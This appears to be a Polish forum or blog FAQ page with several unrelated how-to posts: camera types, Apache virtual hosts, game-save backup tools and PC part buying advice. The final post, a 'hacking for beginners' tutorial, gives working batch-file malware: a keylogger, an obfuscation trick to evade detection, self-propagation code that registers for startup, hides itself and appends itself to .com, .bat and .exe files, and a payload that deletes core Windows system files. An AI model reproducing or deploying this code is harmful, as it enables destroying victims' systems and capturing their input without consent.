FAQ i poradniki

Kącik Fotoamatora: Sprzęt

Mon, 30 Jan 2012 09:30:21 +0000

Kącik Fotoamatora

Małpka, Kompakt, czy lustro?
cz 1: tanio i do przodu

Wiele osób chce robić zdjęcia. Niestety nie mając o tym zielonego pojęcia jesteśmy zmuszeni polegać na niedoskonałym trybie automatycznym lub pozostaje nam liczyć na łud szczęścia iż trafimy w odpowiednie ustawienia.

W tym artykule przyjrzymy się różnym rodzajami (klasami) sprzętu do zdjęciowania. Na pierwszy ogień wezmę małpki czyli małe i tanie Fotograficzne apataty kompaktowe.

Można wymienić ich kilka niepowtarzalnych zalet ale także wad z jakimi borykają się ów konstrukcje.
Największą zaletą małpek są ich wymiary. Zazwyczaj mieszczą się w jednej dłoni i można je bez problemu szybko schować do kieszeni. Nie wymagają specjalnej troski o nie. Wystarczy zazwyczaj pamiętać o naładowanych akumulatorkach lub zapasowym zestawie baterii. Większość zdjęć wykonuje się zazwyczaj w trybach automatycznych lub półautomatycznych co od posiadacza nie jest oczekiwane posiadanie specjalnej wiedzy na temat fotografii. Ostrość jest ustawiana automatycznie. W kompaktach cyfrowych aparat może także dodać ramkę do zdjęcia bub poprawić jego wygląd jednym naciśnięciem przycisku.

Używanie lampy jest proste jak koci ogon. Zwykle posiada 2 do 4 trybów pracy. Wyłączona, zawsze błysk, usuwanie czerwonych oczu, Automat. Spotkałem się jeszcze z dopełnieniem polegającym na multibłysku.

Małe aparaty nie są jednak doskonałe. Statystyczny posiadacz takiego mikrusa jest SKAZANY z pewnymi wyjątkami na polegania z jakże niedoskonałych automatycznych trybów nastawów ekspozycji, co niejednokrotnie psuje zdjęcie. Zapytacie pewnie: Dlaczego psuje? Przecież Automat jest po to aby zdjęcia „wychodziły” zawsze i wszędzie... Nie do końca tak to wygląda.

Miałem do czynienia z niejednym aparatem tego typu. Często zdarza się iż zdjęcia są poruszone (rozmyte, niewyraźne). Prześwietlone (za jasne) przy fotografiach na zewnątrz. Niedoświetlone (za ciemne) szczególnie w pomieszczeniach bez użycia lampy. Spowodowane jest tym iż autoamt dostosowuje parametry wg z góry ustalonego wzorca, które nie pozwala nam osiągnąć innych efektów niż te założone przez producenta aparatu.

Nie jesteśmy w stanie ustawić bezpośrednio na jaki obiekt na zdjęciu ma być punkt ostrości. Jedynym sposobem na tą bolączkę jest wycelowanie w obiekt , zablokowanie ostrości i wykadrowanie. Nie jest to jednak możliwe we wszystkich modelach aparatów. Czasem nie chcemy pokazywać co jest za fotografowanym obiektem, rozmywając go ale nie jesteśmy w stanie tego zrobić.

Piątą Achillesową jest jednak jakość zdjęć. Dla wielu osób jakość zdjęć z małpek nie budzi zastrzerzeń. Problem może się pojawić, gdy chcemy wydrukować zdjęcie w większym formacie lub zrobić sobie tapetę na pulpit. Istnieją 2 przyczyny takiego stanu rzeczy.

Mianowicie

kiepska jakość optyki często spowodowana przez nie tylko małe rozmiary ale również stosowaniem soczewek plastikowych (stosowanych w celu obniżenia kosztów produkcji)
Upakowanie, w przypadku cyfrówek, dużej ilości Mpx (megapikseli) ma małej powierzchni ilość czujników światłoczułych. Co skutkuje cyfrowymi szumami zniekształcającymi krawędzie, kolory i obniżającymi estetyką zdjęcia.

zdjęcia porównawcze dodam w najbliższym czasie

Tworzenie wirtualnych hostów na localhost

Mon, 23 Jan 2012 19:11:51 +0000

Witam,
krótki poradnik jak stworzyć subdomeny, wirtualne hosty, dodatkowe domeny, etc. dla localhostu.

1. O co chodzi?
Chodzi o stworzenie wirtualnych "adresów" do lokalnych katalogów ze "stronkami". Np http://localhost2 http://test/ itp. które będą uruchamiały określoną stronkę.

2. Po co?
Jeśli tworzymy różne aplikacje, czy nawet proste stronki internetowe, lepiej jest nam uruchomić stronkę za pomocą prostego adresu http://serwis.tesowy niż http://localhost/serwisy/serwis_testowy/index.php
Do tego za pomocą takiego adresu jesteśmy bliżej produktu końcowego, czyli zwykłej domeny np http://oc-community.pl

3. Działamy

Krok I
Edytujemy plik hosts znajdujący się w

C:\Windows\System32\drivers\etc

za pomocą jakiegokolwiek notatnika (klikamy na ten plik prawym klawiszem i wybieramy otwórz za pomocą Notatnika). Na końcu pliku dodajemy wpis:

127.0.0.1	serwis.testowy

gdzie oczywiście serwis.testowy to jest nasz wymyślony adres - nie może on być prawdziwy, czyli np 'serwis.testowy.pl'
Zapisujemy plik i zamykamy notatnik.

Krok II
II.1
Edytujemy plik konfiguracyjny serwera, zależny jest od aplikacji z której korzystamy.
Wchodzimy do katalogu gdzie mamy zainstalowanego apache, a później szukamy plików konfiguracyjnych w katalogu:

/conf/

Najpierw sprawdzamy httpd.conf w poszukiwaniu wpisu

# Virtual hosts

powinien znajdować się pod koniec pliku, jeśli istnieje tam linijka:

Include "conf/extra/httpd-vhosts.conf"

oznacza że to czego szukamy jest w niniejszym pliku, w przeciwnym wypadku poniższych rzeczy szukamy w otwartym już pliku.

II.2
Odnajdujemy wpis podobny do:

##
    ##ServerAdmin postmaster@dummy-host2.localhost
    ##DocumentRoot "E:/xampp/htdocs/dummy-host2.localhost"
    ##ServerName dummy-host2.localhost
    ##ServerAlias www.dummy-host2.localhost
    ##ErrorLog "logs/dummy-host2.localhost-error.log"
    ##CustomLog "logs/dummy-host2.localhost-access.log" combined
##

kopiujemy go i wklejamy poniżej, usuwamy hashe (#), możemy też usunąć zazwyczaj zbędne linie "ServerAdmin ...", "ServerAlias...", "ErrorLog...", oraz "CustomLog...", czyli pozostawiamy "DocumentRoot..." oraz "SeverName":


    DocumentRoot "E:/xampp/htdocs/serwisy/serwis_testowy"
    ServerName serwis.testowy

Gdzie DocumentRoot to ścieżka do katalogu w którym znajduje się dana stronka, a ServerName zawiera adres który będzie działał - ten co wpisaliśmy w pliku hosts. Zalecane jest też upewnienie się że istnieje poniższy wpis (jako pierwszy):


    DocumentRoot "E:/xampp/htdocs"
    ServerName localhost

Prowadzący do głównego katalogu z plikami 'public', czyli tymi które są widoczne po wpisaniu localhost - bez tego wpisu po uruchomieniu wirtualnego hosta, adres localhost może przestać działać.

II.3
Zapisujemy plik, restartujemy Apache, i cieszymy się wirtualnym hostem, w moim przypadku pod adresem http://serwis.testowy

GRY - Backup Save-ów

Fri, 23 Dec 2011 21:29:08 +0000

Jako że każdy z graczy ma nieraz problemy z archiwizacją sejvów , na wypadek reinstalki systemu czy gier , wielu z nas poprostu szukała i kopiowała te sejvy w inne miejsce , co niestety jest dość czasochłonne .

Ostatnio natknąłem się na 2 bardzo przydatne programy :
Co ważne oba są darmowe , ale funkcjonalne i bardzo pomocne .

Oto przedstawienie 2 programów które każdy gracz powinien posiadać

GameSave Manager 2.3

GameSave Manager v2.3 (Build 700) to darmowe, łatwe w obsłudze i przydatne narzędzie do zarządzania save-ami z gier. Aplikacja pozwala tworzyć ich kopię zapasową (backup) oraz transferować zapisane stany gier na inny komputer. GameSave Manager posiada obszerną bazę gier, dzięki czemu automatycznie wykryje zainstalowane gry. W przypadku nie wykrycia danej pozycji możemy sami wskazać jej lokalizację. GameSave Manager pozwala również skompresować backup za pomocą 7-zip-a, przesłać go na dowolny serwer FTP lub dysk internetowy Dropbox.

Pełna lista wspieranych gier przez GameSave Manager dostępna jest na stronie producenta.

LINK DO POBRANIA PROGRAMU

Instrukcja obsługi

GameSave Manager 2.3

1. Ściągamy program i rozpakowujemy go - programik jest w wersji instalacyjnej , do tego po uruchomieniu robi scan w poszukiwaniu zapisanych danych gier , więc uruchomienie może potrwać nawet minute

Teraz objaśnię do czego są NAJWAŻNIEJSZE funkcje w programie

BACKUP GAMESAVE(s) - Tutaj zaczynamy zabawe z BACKUPem

RESTORE GAMESAVE(s) - Tutaj robimy odczyt BACKUPu

Jak zrobić BACKUP ?

Wchodzimy w BACKUP GAMESAVE(s)

Jak pamiętacie na początku program robił scan w poszukiwaniu zapisanych danych z gier , tutaj właśnie będzie ich wykaz .
Jeśli się nie pojawi to wciskamy RESCAN

Pojawi się lista i zaznaczamy poprzez "zaptaszkowanie"

Potem wciskamy na dole na BACKUP NOW i zapisujemy BACKUP na dysku ( najlepiej zrobić sobie odpowiedni folder )

Jak zrobić ODCZYT DANYCH ?

Wchodzimy w RESTORE GAMESAVE(s)
Wciskamy OPEN i szukamy miejsca gdzie zrobiliśmy uprzednio BACKUP

Zaznaczamy odpowiedni plik z BACKUPem ( u mnie jako Save , Save 2 , Save game for windows )potem dajemy otwórz i program zrobi reszte .

SaveGameBackup.net 1.31

SaveGameBackup.net to darmowe, niewielkie i łatwe w obsłudze narzędzie przeznaczone dla graczy komputerowych. Aplikacja pozwala w szybki sposób wykonać kopię zapasową (backup) save-ów gier. SaveGameBackup.net automatycznie wykrywa zainstalowane gry oraz obsługuje przeszło 1200 pozycji. Narzędzie to nie wymaga instalacji, dzięki czemu będziemy mogli umieścić program na nośniku typu pendrive.

Uwaga: jeśli SaveGameBackup.net sam nie odnajdzie posiadanych gier, to możemy sami wskazać ich położenie.

LINK DO POBRANIA PROGRAMU

Instrukcja obsługi

SaveGameBackup.net 1.31

1. Ściągamy program i rozpakowujemy go - programik jest w wersji Portable więc nie potrzeba instalacji , poprostu wrzucamy go sobie w odpowiednie miejsce .
np.tam gdzie mamy zainstalowane programy .

Teraz objaśnię do czego jest każda funkcja w programie

BACKUP PATH - miejsce na dysku twardym gdzie zapisywany będzie backup sejwów ( najlepiej zrobić sobie odpowiedni folder na backup )

DETECTED ENTRIES - to wykaz sejwów z gier jakie są na dysku , poniżej jest też lista tych sejwów .

Po zaznaczeniu miejsca gdzie ma się zrobić BACKUP zaznaczamy "ptaszkiem" daną pozycje z zapisami z gry i z boku wystarczy wcisnąć BACKUP .

Podobna zasada jest przy RESTORE ( Odczyt )
Zaznaczamy , wciskamy z boku przycisk RESTORE i program sam dalej sobie radzi

Dostępna tez jest nowa wersja programu na stronie producenta

SaveGameBackup.net

Wraz z 65 wersją bazy danych

Version 65

Pliczek ten pozwala na rozpoznanie większej ilości gier , wrzucamy go do
SaveGameBackup\database

Na co należy zwrócić uwagę przy zakupie...

Sat, 19 Mar 2011 07:26:31 +0000

Idąc do sklepu, czy też oglądając reklamy sklepów z elektroniką można się łatwo pogubić we wszystkim co podają sklepy czy producenci na swoich opakowaniach.
Jednak nie zawsze to co tak głośno jest eksponowane - np "karta graficzna 1GB" lub "procesor 3GHz" czy klasyczne "zasilacz 600W" - jest najbardziej istotne i w zasadzie ma tylko magią cyfr przyciągnąć klienta do danego produktu.
Po krótce omówimy czym należy się kierować i na co zwrócić uwagę przy zakupie takich podzespołów komputerowych, jak:
- Procesor
- Płyta główna
- Pamięć RAM
- Karta Graficzna
- Zasilacz
Zapraszamy do lektury.

Procesor:

Przy zakupie procesora ważne jest abyśmy kupili go pod odpowiedni socket jaki posiada nasza płyta główna. Drugim ważnym kryterium jest to czy zamierzamy bawić się w OverClocking (OC) czy nie. Jeżeli nie to dobrze jest kupić z jak najwyższym taktowaniem na dany socket. Wielordzeniowość też odgrywa obecnie bardzo dużą rolę jeżeli chodzi o wydajność procesora. Obecnie produkowane są procesory dwu-, trzy-, cztero- i sześciu – rdzeniowe. Im więcej rdzeni tym wyższa wydajność ale też wyższa cena. Tutaj dobrze jest się zastanowić do czego będziemy go wykorzystywać. Do zadań typowo biurowych wystarczą spokojnie 2rdzenie natomiast do gier jest już wskazany 4rdzeniowy. Dobrze jest też zwrócić uwagę na proces technologiczny w jakim jest wykonany procesor oraz to ile posiada pamięci podręcznej L2( w przypadku starszych procesorów Intela na LGA775 lub starszych) lub L3 ( w przypadku AMD i Intela i3/i5/i7).

Wyżej przedstawione zasady odnoszą się też do wyboru procesora z zamiarem jego podkręcania z tym, że nie warto brać tego o jak najwyższym taktowaniu jeżeli niczym innym się one nie różnią. Przykładowo różnica w taktowaniu wynosi 200-300MHz to nie bardzo jest sens wydawać 100zł więcej jeżeli w darmowy sposób uzyskamy tą samą częstotliwość co droższe modele. Oczywiście, droższe i fabrycznie szybsze procesory mogą posiadać lepsze właściwości OC ale nie jest to regułą. Takim wyjątkiem są nowe procesory Intela na Socket 1155 z serii „K” które od tych bez tej literki kręcą się znaczenie lepiej ale są też droższe przy zachowaniu tej samej częstotliwości.

By Robertto

Płyta główna:

Przy wyborze płyty głównej należy zwrócić uwagę na kilka rzeczy a mianowicie:
- pod jaki socket jest dana płyta, jeżeli kupujemy pod posiadany już procesor to musi ona mieć taki socekt na jaki jest procesor.
- chipset, tutaj jest dość duży wybór i w większości przypadków im wyższy numer chipsetu tym posiada więcej funkcji przydatnych przy podkręcaniu i/lub jest po prostu szybszy. ( W przypadku LGA775 najlepsze do podkręcania są i965, P35 i P45 – reszta to wykastrowane pochodne tych chipów)
- ilość portów I/O (wejść/wyjść) jak USB, PS2, SATA, IDE, PCI, PCI-E, Slotów RAM
- Rodzaj pamięci RAM – przy zakupie płyty pod posiadane pamięci musimy zwrócić uwagę jaki typ płyta obsługuje (DDR1, DDR2 lub DDR3) oraz to jakie my posiadamy już pamięci

Gdy wiemy już pod jaki socket musimy kupić płytę należy się zastanowić co tak naprawdę jest nam potrzebne, ile portów USB potrzebujemy, czy wykorzystamy USB3, ile portów SATA nam się przyda, czy zamierzamy się bawić w SLI/CF. Im droższe płyty tym tych portów mają więcej. Chipset odgrywa duże znaczenie jeżeli chodzi o podkręcanie procesora dlatego zalecane jest wybranie takiej płyty która posiada w miarę jak najlepszy chip .
Przy zamierzeniu zabawy z SLI czy CrossFire należy zwrócić uwagę z jaką prędkością pracują porty PCI-Express. Najlepiej jeżeli będą one pracowały jednocześnie z prędkością x16. Tańsze płyty pod wiele kart graficznych oferują niestety tylko jeden port x16 natomiast reszta pracuje z prędkością x4/x8 co wpływa na wydajność.

By Robertto

Pamięć RAM:

Przy wyborze pamięci RAM głównie musimy zwrócić uwagę na to jaki typ jest nam potrzebny. Obecnie najczęściej spotykanymi rodzajami pamięci są DDR2 i DDR3 i rzadko już DDR1. Drugim kryterium będzie częstotliwość. Na rynku można spotkać kości o różnym taktowaniu: dla DDR2 są one następujące:
-667MHz
-800MHz
-1066MHz
Są jeszcze wersję 533MHz które można powiedzieć wyszły z rynku. Dla entuzjastów OC są jeszcze pamięci taktowane zegarem 1100, 1150, 1200MHz. Niestety pamięci rzadko spotykane i na ogół drogie.

Dla DDR3 wyróżniamy:
-1066MHz
-1333MHz
-1600MHz
-1800MHz ( tutaj można spotkać wersję 1866MHz)
-2000MHz i wyżej

Kolejnym parametrem z jakim możemy się spotkać przy wyborze pamięci jest tzw. CL czyli liczba cykli zegara. Im niższe CL tym pamięć szybsza.

Została nam jeszcze pojemność pamięci. Jest ona uwarunkowana głównie tym do czego będziemy wykorzystywać komputer. Obecnie aby komfortowo użytkować systemy Windows 7 x64, korzystać z gier i różnych programów zaleca się posiadanie 4GB pamięci lub więcej. Do zadań czysto biurowych i Internetu wystarczy spokojnie 2GB pamięci RAM.

Jeżeli potrzebujemy pamięci DDR2 a komputera używamy głównie do zadań biurowych i Internetu możemy spokojnie kupić wersję 667MHz z obojętnie jakim CL, różnicy nie zauważymy między szybszymi odpowiednikami. Szybsza pamięć (800MHz, 1066MHz) przyda nam się głównie do gier, wymagających programów jak i do podkręcania gdyż będziemy mieli pewność, że nie będzie ona problemem przy dość wysokim OC. Tutaj także lepiej szukać jak najniższego CL rzędu 4/5.

Przy wyborze pamięci DDR3 nie trzeba zwracać tak uwagi na taktowanie i spokojnie do każdego zdania wystarczą pamięci taktowane zegarem 1333MHz/1600MHz. Wyższe zegary są nie opłacalne bo wzrost wydajności nijak się ma do wzrostu ceny. Preferowane CL wynosi 7-9 ale oczywiście im niżej tym lepiej ale też drożej. Warto też spojrzeć na napięcie z jakim pracuje dana pamięć. Im niższe napięcie tym będą one chłodniejsze i mogą mieć lepszy potencjał OC. DDR3L - gdzie L oznacza "Low Voltage" oznacza, że dane pamięci mają niższe napięcie zasilania - 1.35V (1.5V dla DDR3). Zużycie energii wynosi około 15% mniej w porównaniu do zwykłych kości DDR3.

By Robertto

Karta graficzna

Obecnie rynek kart graficznych rozwija się w coraz szybszym tempie i dosłownie nie ma tygodnia by producenci nie wprowadzili nowego modelu do sprzedaży. Na co więc zwrócić uwagę przy zakupie karty graficznej?
Cena
Oczywiście jest głównym kryterium, gdyż kupujemy taką kartę, na jaką nas stać. W zasadzie przy niemal każdej kwocie mamy wybór.
Producent GPU
Na rynku są w zasadzie tylko dwaj producenci: Nvidia i AMD (dawne ATI). To którego producenta gpu wybierzemy zależy głównie od naszych preferencji, gdyż oferują oni w każdym przedziale karty o podobnej wydajności.
Producent karty
Tutaj również możemy kierować się według preferencji, na przykład jeżeli mieliśmy już kartę jednego producenta i spisywała się znakomicie to jeśli oferuje on kartę w interesującym nas przedziale cenowym to warto się tą kartą zainteresować. Wśród wszystkich producentów możemy wyróżnić tych „tańszych” i tych „droższych” w zależności od renomy firmy, zastosowanego chłodzenia czy jakości elementów na karcie. Należy jednak uważać, gdyż mniejsza cena nie bierze się znikąd, co oznacza, że producent na czymś musiał oszczędzić i – choć naprawdę rzadko – zdarzało się, że wśród kart najtańszych był największy odsetek kart, które psuły się po pewnym czasie. Z drugiej strony idąc za renomą niektórzy producenci oferują karty po wyższych cenach, mimo że ich produkt w zasadzie niczym nie odbiega od innych oferowanych po niższej cenie.
Taktowanie
To od wartości taktowania najbardziej zależy wydajność karty. Obecnie producenci podają 3 taktowania: Rdzenia GPU, pamięci oraz shaderów (w przypadku AMD taktowanie shaderów jest identyczne jak rdzenia GPU). Oczywiście im wyższe tym karta wydajniejsza. Nie należy jednak bezpośrednio porównywać taktowań rdzenia różnych producentów GPU, chociażby ze względu na odmienną architekturę. Porównywać można bezpośrednio tylko taktowanie w obrębie jednego modelu bądź serii, ewentualnie jednej rodziny produktów. Osobną rzeczą, na którą chciałbym zwrócić uwagę to wersje o podwyższonym taktowaniu oferowane często z dopiskiem OC lub Super OC. Są to wersje, które standardowo posiadają podwyższone zegary od zwykłych wersji. Takie karty są przeważnie droższe i jeśli oczekujesz od karty większej wydajności, a nie chcesz jej sam podkręcać, to powinieneś zwrócić uwagę na te właśnie modele. Jeśli sam podkręcasz to raczej nie warto dopłacać.
Pojemność pamięci
Ma bardzo małe znaczenie i nie powinna być kryterium przy wyborze karty. W większości modeli jest umieszczona odpowiednia ilość pamięci dla danego GPU. Najpopularniejsze obecnie pojemności to 512MB, 1GB i 2GB.
Rodzaj pamięci
Właściwie należy patrzeć na karty z pamięciami GDDR3 i GDDR5. Te pierwsze znajdziemy w kartach z niższych segmentów, te drugie w wydajniejszych kartach. Wystrzegamy się kart z pamięciami GDDR2 – to stary rodzaj pamięci, mało wydajny i znacznie ogranicza wydajność karty.
Szyna do pamięci
Wiąże się w chwili obecnej z budową samego gpu i w zasadzie im wyższa wartość, tym większa przepustowość pamięci. Najczęściej do wyboru mamy dwa rodzaje: 128 i 256bit, sporadycznie 192bit lub w najsilniejszych kartach od 320 do 512bit.
Chłodzenie
Karty graficzne pobierają coraz więcej energii i kwestia chłodzenia od jakiegoś czasu nabrała dużego znaczenia. Na rynku możemy spotkać karty z chłodzeniami tzw. Referencyjnymi – czyli identycznymi z proponowanym przez producenta GPU chłodzeniem – oraz autorskimi poszczególnych producentów. Te drugie w większości przypadków działają lepiej, oferując niższe temperatury oraz mniej wydzielanego hałasu. Dla ceniących sobie te wartości takie chłodzenia będą sprawować się znacznie lepiej.
Przydaje się lektura testów poszczególnych modeli jak i subiektywne opinie osób, które dany model już zakupiły.
Zasilacz
Przy wyborze karty graficznej zwróćmy uwagę na to, jaki posiadamy zasilacz. W większości przypadków producent karty podaje informację o minimalnej mocy zasilacza wymaganej do prawidłowego działania karty. W sytuacji kiedy posiadany zasilacz jest za słaby dla karty, którą chcemy kupić, wybierzmy albo mniej „prądożerną” kartę, albo pomyślmy o wymianie zasilacza. Zły dobór w najlepszym wypadku kończy się niestabilnością pracy komputera, w najgorszym spaleniem jednego bądź więcej podzespołów.
Testy w grach
To chyba najlepsza pomoc przy wyborze karty graficznej. Poświęcając od kilkunastu minut do paru godzin na przeszukiwanie Internetu i lekturę testów kart, możemy zdobyć wyraźny obraz tego, która z interesujących nas kart będzie najlepsza do gier, które nas interesują. Większość portali testuje na bardzo zróżnicowanych grach co daje szeroki obraz możliwości testowanych kart. W dodatku czytając kilka różnych testów możemy dokładne poznać możliwości wybranej przez nas karty i albo upewnić się w wyborze, albo skierować swoje zainteresowanie na inną kartę. Dla mniej zaawansowanych użytkowników, którzy albo nie znają się na powyższych szczegółach budowy Katy graficznej, albo boją się, że sprzedawca wciśnie im kiepski model, to chyba najlepszy sposób na wybieranie karty.

Mam nadzieję, że teraz wybór karty graficznej stanie się bardziej przejrzysty, a nowa zakupiona karta spełni oczekiwania, które w niej pokładacie.

By -GT-

Zasilacz:

Zasilacz to jeden z najważniejszych komponentów naszego komputera, bardzo często niedoceniany i ignorowany przez użytkowników PC. Jest to urządzenie zasilające wszystkie podzespoły w komputerze.
Obecnie używa się zasilaczy w normie ATX, kiedyś używane były też zasilacze w normie AT ale już dawno odeszły w niepamięć. Rozmiar zasilacza ATX to: szerokość 150 mm, wysokość 86 mm, a głębokość typowo 140 mm, choć może różnić się w zależności od producenta.

Na rynku jest całe mnóstwo producentów zasilaczy komputerowych. Ale czy wszystkie marki zasilaczy spełniają nasze oczekiwania? Otóż nie… Jak wiemy w każdej dziedzinie są buble i są porządne produkty, podobnie jest w przypadku zasilaczy.
Należy unikać zasilaczy takich producentów jak:
Akyga, Altis, Aspire, Aton, Bestec, Coba, Codegen, ColorSit, COMPAQ, Computer, Deer, Eurocase, Everpower, Fever, Four Star, Gembird, Gigabajt, Hawk, Hec, Impet, i-box, Incore, Levicom, Linkword, L&C, Logic, LOGISYS, Megabajt, Mercury, Metropilis, Mustang, Newton Power, Platin Power, Power Color, Powercomp, Power Man, Procomp, Octigen, QTECHNOLOGY, Q-tec, RAIDMAX, Rubikon, Ropla, Sansun, SilenX, Sun Pro, Suntek, Take Me, Task, TE, Tracer, Tronje, Ultra Media, V Power, Win, Xilence, XION, 2N.
Takie zasilacze podczas awarii zazwyczaj uszkadzają resztę podzespołów, są wykonane ze słabych jakościowo materiałów, nie posiadają różnego rodzaju zabezpieczeń przeciwzwarciowych, przepięciowy itp. Są stosowane w większości przypadków w tzw. „gotowcach” czyli w komputerach kupowanych gdzieś w supermarkecie. Posiadając taki zasilacz użytkownik nie ma możliwości po jakimś czasie rozbudowy swojej maszyny ponieważ musi na początek wymieniać zasilacz który jest zbyt słaby aby zasilić mocniejszą konfigurację.

Dość już o bublach teraz czas na coś z wyższej półki. Poleca się zasilacze takich producentów jak:
Amacrox, Antec, Astec, be quiet, Chieftec, CoolerMaster, Corsair, Delta, Enermax, Enlight, Fortron, Modecom MC, OCZ, PCPower&Cooling, Pentagram, Seasonic, Silver Power, Tacens, Tagan, Topower, Yesico, Zalman.
Są to zasilacze renomowanych firm, które śmiało możemy montować w naszych blaszakach. Charakteryzują się wysoką jakością wykonania i bardzo dobrą jakością komponentów z których są zbudowane. Można powiedzieć że posiadają to wszystko czego nie posiadają zasilacze kiepskich marek.

Do zwykłego komputera którego używamy do zadań biurowych, internetu itp. o przykładowej konfiguracji: Athlon II x2, HD4200, 2GB RAM wystarczy spokojnie zasilacz z linia +12V około 18A o mocy 350W np. Chieftec GPS-350EB, to jest zasilacz który w zupełności wystarczy z zapasem mocy do takiej konfiguracji.

Jeżeli jest to jednostka przeznaczona do gier tutaj już zaczynają się małe schody, a mianowicie przede wszystkim trzeba wziąć pod uwagę jakie komponenty chcemy zasilić. Jak wiadomo karty graficzne i procesory mają zróżnicowany pobór mocy. Dla przeciętnego komputera przeznaczonego do grania zazwyczaj wystarczy zasilacz o mocy 450-500W i z linią +12V która posiada około 25A. Dla przykładu dajmy taki oto zestaw: Athlon II x4, 4GB RAM, GTS 450 do takiego „blaszaka” spokojnie można zamontować Chieftec CTG-450-80P czy też OCZ StealthXStream2 500W.

Przy bardziej wydajnych PC_tach które mają już grafiki pokroju GTX460, Radeon HD6870 i procesor taki jak Core i5/i7, Phenom II x4 zawsze lepiej jest zaopatrzyć w mocniejsze źródło zasilania w granicach 600 a nawet 650W np. Corsair CMPSU-650TXEU
Kiedy zdecydujemy się na SLI/CrossFire gdzie łączone będą karty na poziomie GTX460/560, HD6850 wtedy lepiej jest mieć zasilacz o mocy 650/700W.
Zasilacze o mocy 1000/1200/1400W stosujemy w jednostkach o potężnych mocach obliczeniowych często mających na pokładzie nawet po 2 procesory i więcej jak 2 karty graficzne.

Trzeba pamiętać też o tym że nie nie powinno się kupować zasilacza który na styk wyrabiał by się z „oddawaniem” watów dla PC_ta ponieważ gdy zasilacz nie ma zapasu mocy wtedy jest zmuszony do większego obciążenia, wydziela więcej ciepła, szybciej się zużywa.

By CoreDuo

Przydatne linki:

"Pamięci w naszym komputerze"
"Przewody w komputerze"
"Zasilacze"

WIRUS BATCH - Hacking dla początkujących

Thu, 17 Feb 2011 20:34:08 +0000

O wirusach Cele edukacyjne only.

WIRUS BATCH - Hacking dla początkujących (cele edukacyjne).

Poradnik ma cele edukacyjne i autor nie odpowiada za wyrządzone przez niego szkody. Robicie to na własną odpowiedzialność!

Pewnie niejeden z Was próbował bawić się w wirusy .bat. Do tego wystarczy notatnik i chwila czasu. Niestety, te wirusy łatwo odnaleźć i rozpoznać. Pomogę Wam w implementacji szyfrowania i pokaże Wam różne przydatne komendy.

A więc, zacznijmy od struktury wirusa. Każdy wirus batch, zaczyna się od prostej komendy - @echo off - dzięki niej, polecenia nie będą wyświetlane na ekranie cmd.
Komenda "echo" służy do wyświetlania tekstu, po każdej komendzie "echo", następna linijka to powinno być "pause>nul". A więc, przykład prostego wirusa (choć nie do końca wirusa).

@ECHO OFF
TITLE W32.HK.S
ECHO tekst, który zostanie wyświetlony na ekranie
REM to jest komentarz
SHUTDOWN.EXE -S -T 10

Ten wirus wyłączy jedynie komputer.

Wyjaśnienie komend:

TITLE

z angielskiego, tytuł. Po prostu możesz nadać tytuł wirusowi. W32 to typ środowiska, HK - hack, S - shutdown.

ECHO

to co napiszesz w "echo" zostanie wyświetlone na ekranie.

REM

Zwykły komentarz. Nie zostanie nigdzie wyświetlony.

SHUTDOWN.exe

po prostu plik z *.*/windows odpowiadający za wyłączenie komputera. "10" to czas, po którym komputer ma być wyłączony.

Teraz czas na prosty keylogger.

@echo off
set /p keys=
echo %keys%>>c:\keys.txt
start keylogger.bat
exit

Ten wirus zapisze wszystko co wpiszemy w okienko DOS-a.

Komendy:

set /p keys=

czyli to co wpiszemy zostanie w zmiennej 'keys'

echo %keys%>>c:\keys.txt

zmienna 'keys' zostanie zapisana w katalogu C:\ w pliku keys.txt

start keylogger.bat

czyli po zapisaniu zmiennych 'odświeżenie'. Bez tej komendy, wirus się wyłączy.

exit

zamyka poprzednie okienko, z tym co wpisaliśmy.

A teraz, zanim przejdziemy do 'ostrych wirusów', troszkę o szyfrowaniu.

Szyfrowanie to banalna sprawa. Po prostu każdy znak otaczamy %l%, nie musi być akurat l, tam możecie wstawić własny znak (nie ten, który szyfrujecie, każdy znak szyfrujący musi być ten sam, np. %x% cały czas, nie możemy zrobić: %k% i potem %p% bo wtedy skrypt nie zadziała). Aby zaszyfrować literę "k", trzeba użyć kodu:

Cytat

%l%k%l%

Po szyfrowaniu zwykły plik:

@echo off
title VIR
echo HACK

Będzie wyglądać tak:

Cytat

%l%@%l%e%l%c%l%h%l%o%l% %l%o%l%f%l%f%l%
%l%t%l%i%l%t%l%l%l%e%l% %l%V%l%I%l%R%l%
%l%e%l%c%l%h%l%o%l% %l%H%l%A%l%C%l%K%l%

To jest najprostszy sposób szyfrowania plików batch. Żeby szyfrowanie było efektywniejsze, stosuj jedynie małe litery w swoich skryptach.

Implementacja i rozpowszechnianie wirusa.

Wirus to program, który szkodzi i rozprzestrzenia się, będąc praktycznie niemożliwym do usunięcia. Najlepsze wirusy (niestety nie w batch, asembler, język maszynowy to klucz do nich) ukrywają się w dowolnym fragmencie jakiegoś programu i są bardzo trudne do wykrycia. Aby je "załatwić", potrzebna jest "szczepionka antywirusowa" na dany plik. Zwykły antywirus nie pomoże. Ale skoro jesteśmy przy batch, czas na rozpowszechnianie i implementacje.

Ten kod umieść zawsze na końcu swojego wirusa.

echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] >>a.reg
pause>nul
ATTRIB +S +H +R KATALOG:\NAZWA_WIRUSA.bat
pause>nul
ctty nul
for %%i in (*.com) do copy %0+%%i %%i /y >nul
for %%i in (*.bat) do copy %0+%%i %%i /y >nul
for %%i in (*.exe) do copy %0+%%i %%i /y >nul

To jest najważniejsza część wirusa. Wirus zostaje dodany do rejestru, przy czym jest uruchamiany przy starcie i powiela się 24 godziny na dobę. Zostają mu nadane uprawnienia pliku systemowego i wirus automatycznie dokleja się na koniec każdego pliku .bat .com i .exe. Czyli jest praktycznie wszędzie. Teraz czas na prawdziwego wirusa batch. Podam przykład i wytłumaczę działanie.

@echo off
title W32.Batch.X
set /p x=
echo %x%>>c:\x.x.txt
pause>nul
rundll32.exe user,disableoemversion
pause>nul
pause>nul
rundll32.exe user,enableoemversion
echo You are hacked by Mr. Owl 
echo You are hacked by Mr. Owl 
echo You are hacked by Mr. Owl 
echo You are hacked by Mr. Owl 
echo You are hacked by Mr. Owl
echo You are hacked by Mr. Owl
echo You are hacked by Mr. Owl 
erase C:\IO.SYS 
erase C:\MSDOS.SYS 
erase C:\WINDOWS\WIN.COM
erase C:\WINDOWS\SYSTEM\VMM32\IOS.VXD
erase C:\WINDOWS\SYSTEM\VMM32.VXD
erase C:\WINDOWS\SYSTEM\KERNEL32.DLL
erase C:\WINDOWS\EXPLORER.EXE
erase C:\WINDOWS\SYSTEM\WINOA386.MOD
